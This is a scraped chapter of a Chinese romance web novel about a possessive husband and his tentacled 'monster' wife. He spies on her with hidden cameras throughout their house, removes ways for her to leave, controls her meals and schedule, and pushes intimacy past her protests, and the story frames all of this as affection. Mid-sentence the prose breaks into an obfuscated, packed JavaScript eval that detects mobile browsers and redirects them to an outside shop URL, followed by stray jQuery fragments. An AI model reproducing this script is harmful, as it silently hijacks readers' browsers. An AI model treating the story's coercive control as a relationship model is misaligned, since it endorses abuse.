10. 高需求孤独患者(一)

作品:《和恶劣坏狗决裂后[GB]

    或许是皮肤饥渴带来的心理依赖,怪物的触手带着魔力,一天一天的爱抚,身体被暴力或温柔地进入与拥抱……李舜岚在上班路上想,在办公桌前想,在走路依然还在想。


    想着什么时候能抱住崔雅望,什么时候崔雅望的眼睛里只有他……这些渴望在他还没有想清楚时便落地生根,等到发现想要干预时已经晚了,李舜岚变得更加喜欢和崔雅望呆在一起,几乎是每时每刻都想抱着她,和她亲密接触。


    想让崔雅望辞职的念头也不是一天两天,推翻过的计划不是一两个,预设过的后果也更糟糕得多,他还因此做过噩梦,梦里的崔雅望温柔笑着,摸了摸他的脸说老公我走了,以后一个人要好好照顾自己。


    她拎着行李箱就头也不回地离开了,李舜岚怎么追都追赶不上。


    在梦里,世界颠倒了,崔雅望在世界的另外一端,他在这一端,隔着遥远的距离相望,地球也真的变成了个球,不停地滚动,无论他怎么努力,还是在原地踏步。


    醒来后,李舜岚被惊出一身冷汗,这些噩梦更加坚定了他要实施计划的决心,李舜岚是无神论者,他只相信自己,只有捏在手里的才是真的。


    于是便有了这段前言不搭后语的对话,两个人都清楚,李舜岚这不是请求,崔雅望也知道这是通知她准备好接受。


    李舜岚以为崔雅望会和他生气,他在说出计划前就早已设想了千百种情形,她或许会红着眼眶质问他,又或者会躲去房间里边一句话都不和他说,但他完全没有想到最后发生的,是那千百种可能里概率相对较小的那一种。


    崔雅望平静地接受了这一切。


    听到他的计划的那天,她沉默了几分钟,最后闷闷地说了个好,李舜岚一直抱着她,眼睛就没有从她脸上挪开过,小怪物半垂着眼眸,看上去很难过,让一直理直气壮做坏事的李舜岚也少见地心虚起来。


    第二天李舜岚如愿过上了他预想中的生活。


    吃饭的时候,崔雅望微微张嘴,任由李舜岚用银匙舀起燕窝送进她嘴里,嫣红的舌尖偶尔擦过匙柄,他的眼睛直勾勾盯着那张嘴和里边的小舌,李舜岚忽然觉得有点口渴了。


    后边在家里办公的日子更是幸福的像一场幻梦,如果没有要处理的工作,他和崔雅望几乎都是一整天都黏乎在一起。


    李舜岚终于可以用手指肆意地穿插崔雅望柔顺的长发,他知道这些头发同时也是触手,崔雅望尤其不喜欢别人触摸她的触手,李舜岚想确认他不在这个别人里面。


    看到了老公的不自然的眼神,这一次崔雅望忍住了没有躲闪,她只是垂着眼,看着自己垂在身侧的手指,蜷缩了一下。


    就连在洗澡时蒸发出的水汽里,崔雅望也只是红着可爱的脸,接受了李舜岚伸手到浴缸里试水温。


    老公的指尖偶尔擦过崔雅望背部白皙的肌肤和小腿的肌肉,每摸一下她都会轻轻的一颤,他还捏起触手细细把玩,如果不是看得出崔雅望真的在忍耐,李舜岚甚至都想帮她洗澡了。


    他喜欢她的忍耐,这让李舜岚觉得崔雅望虽然傻,但确实是一只可爱的怪物。


    每次李舜岚玩她的触手,撩她的长发,缠在指尖缠了一圈又一圈,崔雅望嘴里会发出可怜的呜咽声,湿漉漉的眼睛祈求地看着李舜岚。


    他都以为她要说拒绝的话了。


    李舜岚都已经准备好听见她的拒绝,然而崔雅望却什么都没有说。


    小怪物竟然忍住了。


    浴室里升腾着热气,李舜岚半跪在地,骨节分明的手指漫不经心地勾住崔雅望泡在温水里的脚踝,指腹擦过细腻的皮肤,带起一阵战栗的痒。


    崔雅望一眼就看出来了老公想做什么,她缩了缩腿,水花轻轻晃荡,漾开一圈圈细碎的涟漪,“不要挠我……老公,痒。”


    男生没说话,狭长的眼睫垂着,他的指尖顺着脚踝往上,缓缓滑过纤细的小腿肚,那里的皮肤被水泡得柔软,透着健康的粉。


    崔雅望被她老公这副精神病发作的样子吓到绷直了腿,脚趾蜷起来,她抠着浴缸的边缘,是随时准备起身就躲的姿势。


    不想在洗澡的时候还要被亲腿和舔咬脚,每次老公伸舌头舔舐她的皮肤,都让崔雅望感觉奇怪,被舔的地方第二天还会痒,有时候是痛,让崔雅望很不习惯,她小声嗫嚅,“老公真的不行……太痒了,我受不了的。”


    李舜岚终于抬眼,漆黑的瞳仁里映着崔雅望泛红的脸颊,“我不可以亲吗?嗯?”


    要真是亲的话崔雅望不会拒绝,她的脸更红了,“可是老公你咬得我好痒,我不喜欢。”


    李舜岚没理会她的辩解,温热的呼吸先一步落在她的小腿上,崔雅望浑身一颤,像被电流击中,猛地想缩回脚,却被他攥得更紧。


    崔雅望还没有来得及阻止,男生的吻落了下来,带着灼热的呼吸,一起降临在她的腿上。


    他的吻掠过小腿肚最软的地方,崔雅望的腿抖得厉害,眼泪都快掉下来了,她最怕痒,老公又喜欢亲她的脚,周身散落的发丝被刺激到,不少都变成了触手,崔雅望想,她现在的样子肯定很可怕,老公应该会被吓到,然后放弃继续亲……


    李舜岚抬眼瞥了她一眼,眼底的笑意更浓,带着恶劣,“不舒服吗?”


    她的挣扎在李舜岚眼里更像是撒娇,过程中崔雅望偶尔会不小心一脚踹他肩膀上,被踹到的李舜岚身体纹丝不动,被水沾湿了的胸肌轮廓分明,他低笑一声,吻得更用力,径直往下,直到触到纤细的脚踝。


    那里的皮肤更薄更白,里边的血管隐隐可见,李舜岚含住那片肌肤,轻轻吮了一下,又舔咬了一口。


    很快松口,他伸出舌尖舔了舔那处泛红的牙印,眼里染上餍足的笑意。


    他对着那枚浅淡的牙印看了半晌,才慢悠悠开口,“标记一下。”


    李舜岚的手指摩挲过那处皮肤,崔雅望都没有心思回他的话,她感觉自己快被老公折腾死了,一边抽噎着,一边别过脸不去看他,眼泪止不住地掉。


    老公好讨厌啊。


    李舜岚又亲蜜地抱住他的怪物,很是无辜地啃了她的脸一口,捏着她的下巴转过脸,欣赏完漂亮的眼泪,他饶有兴趣地问,“哭什么?”


    崔雅望深呼吸了一口,猛地伸手抱住他的腰,最粗壮有力的那几条触手卷住李舜岚的腿,快速顺着他的身体向上爬行。


    背上有触手爬过带来的滑腻感,李舜岚的表情从头到尾都没有变过,冷静又寡淡,面对可爱的妻子身上长出来的怪异触手更是适应良好,被绞着脖子要窒息了还有心情让崔雅望再大力点。


    崔雅望最后咬了一口老公的喉结,抽噎着哭到哽咽,被李舜岚从浴室被抱回卧室,她的脚踝上还留着那枚浅浅的牙印,其他地方多了很多吻痕,嘴巴也被人咬破了。


    李舜岚跟她相比没有好到哪里去,身上有不少地方都挂了彩,崔雅望的触手完全出来后就会很有力,她那时候像一只真正的怪物,完全不听李舜岚的话,只是一味地用力。


    李舜岚喜欢这样的崔雅望。


    他掐起小怪物的脸,像是怎么亲也亲不够般,又舔咬上了她的嘴,而独属于李舜岚的夜晚此刻才真正开始。


    这几天不管李舜岚有什么要求,无论有多怪异,亦或者多恶劣,舔咬,牙印,捆绑,吻遍全身,崔雅望予取予求,像是没有底线,只要他说,她就都会满足他。


    这种顺从让一直极度渴望和需要崔雅望的李舜岚头脑发昏,太幸福了,以至于他都快忘了公司现下的处境,忘了那个躺在病床上只能靠着呼吸机苟延残喘,明明都快要死了的老头子,还想着用最后一口气指使着那群老东西给他找麻烦。


    开会成了最痛苦的时刻,耳机里边传来高管们汇报的声音,嗡嗡作响,像一群扰人的苍蝇。


    李舜岚的指尖无意识地敲着书桌,眼前却全是崔雅望低头吃饭时的模样,还有她微微泛红的耳尖。


    下属说到关键处停顿了一下,询问李舜岚的意见,光顾着想崔雅望,没怎么注意会议内容的李舜岚表情滞了下,语气不自然地对着下属,“从头再说一遍。”


    下属战战兢兢地重新开口,这回李舜岚分了些注意力过去,但一想到崔雅望,还是觉得心里那股汹涌的暖意多到快要溢出来了。


    想起崔雅望的次数过于多了,是不管他做什么事他都会想起,每呼吸一口氧气都会想起,这也太奇怪了,李舜岚能感觉到他的情绪有不正常的地方,崔雅望这股近乎病态的顺从,像裹着糖的毒药,他察觉到了,可李舜岚不愿意再继续探究。


    崔雅望的纵容与顺从,很快让李舜岚发展出了更偏执的掌控欲。


    李舜岚买这栋一千平的海滨别墅就是冲着占地面积大买的,一开始想着不能和这个怪物妻子有什么联系,拿到她身上的触手细胞就离婚,最好就是两个人都无法见面。


    所以也没有想到后来这成了最大的烦恼。


    哪怕崔雅望不需要天天外出跑着去工作,但家里的好几个大小客厅,影音室、健身房、游泳池、还有图书馆,每个地方在设计


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993697|193855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最初想着就是分散在不同的地方比较好,因此都隔着一段距离,四层的别墅设计本身也很大,有时候他处理完工作,不打电话问崔雅望在哪里,甚至都找不到她人。


    家里修了的直升机坪也被李舜岚通知管家给拆了,李舜岚的担心并不是无缘无故,崔雅望那么喜欢泡在图书馆里,那个图书馆四面都是书墙,她还在网上下单,有源源不断的人每周送书到家里来,清单递到他手上,李舜岚眼尖地看到本直升机基础知识。


    买这种书做什么?想跑吗?


    要是崔雅望偷摸学会了开直升机,开着直升机跑了,这种追都不好追。


    他在别墅的每个角落都装上了微型监控,书房、卧室、客厅,连高尔夫球场宽阔的草坪都没有放过。


    在家里书房开会,会议中途,李舜岚借着去洗手间的名义,实际是去看监控。


    监控画面里,崔雅望正坐在图书馆的牛皮沙发上看书,腿上盖着毛毯,看起来小小一只,李舜岚仔细看了眼确认离他所在的书房很远,他并不能在下班的第一时间就抱到崔雅望,瞬间有微妙的不爽滋生出来,不过这种不满后来并没有在崔雅望面前表现。


    只是没过几天,李舜岚又觉得装监控不够意思,他开始亲自规划崔雅望相关的一切,包括一日三餐,还给崔雅望设定了作息时间,禁止崔雅望在图书馆里呆的太久忘记吃饭。


    晚餐桌上,管家今天送来的是海鲜大餐,大鲍鱼被炭火烤得恰到好处,边缘微微卷起,淋上了很香的酱汁,清蒸东星斑躺在精致的长瓷盘中,鱼身覆盖着葱丝和姜丝,量最大的要属崔雅望最喜欢吃的蓝龙虾,有麻辣的也有清蒸的。


    坐在人肉沙发上的崔雅望盯着盘子里的麻辣蓝龙虾咽了咽口水,眼巴巴地转头看向抱着她的李舜岚,“老公,我想吃那个口味的虾……”


    李舜岚眼皮都没抬,稳稳地揽着崔雅望,慢条斯理地给她剥着龙虾的虾壳,虾肉洁白鲜嫩,他蘸了蘸清淡的料汁,递到她嘴边,“不行,太辣,伤胃。”


    “就吃一只嘛,”崔雅望扯了扯他的袖口,声音里带着撒娇的意味,李舜岚最吃这一套了,她讨好地凑过去亲亲他的嘴巴,“我好久没吃了。”


    “没得商量。”李舜岚的语气硬邦邦的,眼神飘忽了下,瞥到她微微撅起的嘴角,喉结动了动,他学着崔雅望撒娇的样子,用脑袋蹭蹭她的肩膀,软下语气,补充了一句,“听话。”


    崔雅望闷闷不乐地张嘴吃了老公剥出来的清淡虾肉,看来那些麻辣龙虾是老公给他自己吃的。


    李舜岚很喜欢这种照顾崔雅望的感觉,崔雅望只能依赖他活着,他一想到这里就爽得无法自抑,爽到身体都在颤抖,呼吸急促。


    坐着的人肉沙发忽然开始剧烈颤抖,崔雅望有些担心,老公的病好像更严重了怎么办,可是肚子还是好饿。


    衡量了一下,崔雅望决定还是先吃饭吧,她用手指戳戳李舜岚的手臂,“老公,我还没有吃饱。”


    崔雅望是怪物,饭量一直很大,李舜岚拥着她那小身板,实在是很难想象这么小的身体怎么能装得下那么多食物,他兜不住笑,用力地亲了小怪物的脸颊一口,崔雅望伸手推他脸,没推开,最后只能乖乖地被亲。


    李舜岚的品味一直都不错,清淡的料汁是他现调的,没有放辣椒,不重口,但吃起来也很香,吃了一口虾肉还想吃第二口,崔雅望就着他的手吃了四五十只蓝龙虾才吃得半饱。


    李舜岚垂眸,摘掉手套,又用湿巾擦干净手,他用指腹漫不经心地摩挲着崔雅望后颈细腻的肌肤,指节微凉的触感惹得小怪物轻轻一颤,不自觉往后坐了坐靠在他身上。


    崔雅望也想剥虾给她老公吃,笨手笨脚地剥出来虾肉,刚想转头喂给李舜岚,她的颈窝就靠上来一颗毛绒绒的脑袋,男生握住她的手腕,手把手教她将食物喂到了嘴里,吃完还要伸舌头舔舐她戴了塑料手套的手指。


    舔得崔雅望很痒,她形容不来这样的李舜岚,李舜岚很多时候身上有一种特别的蛊惑人心的气质,拿湛若的话来说就是一只穿得人模人样的衣冠禽兽。


    吃完了虾,李舜岚抱着崔雅望往浴室走,他的手臂结实有力,箍着崔雅望腰肢的力道很紧,带着不容挣脱的掌控感。


    崔雅望蜷在他怀里,指尖依赖地勾着他衬衫的纽扣,仰头看李舜岚漂亮的侧脸,好奇地发问,“老公今天心情好吗?”


    李舜岚垂眸扫了怀里的小怪物一眼,随即收紧了拥抱,“挺好的,要是崔雅望能草一下老公,我的心情会更好。”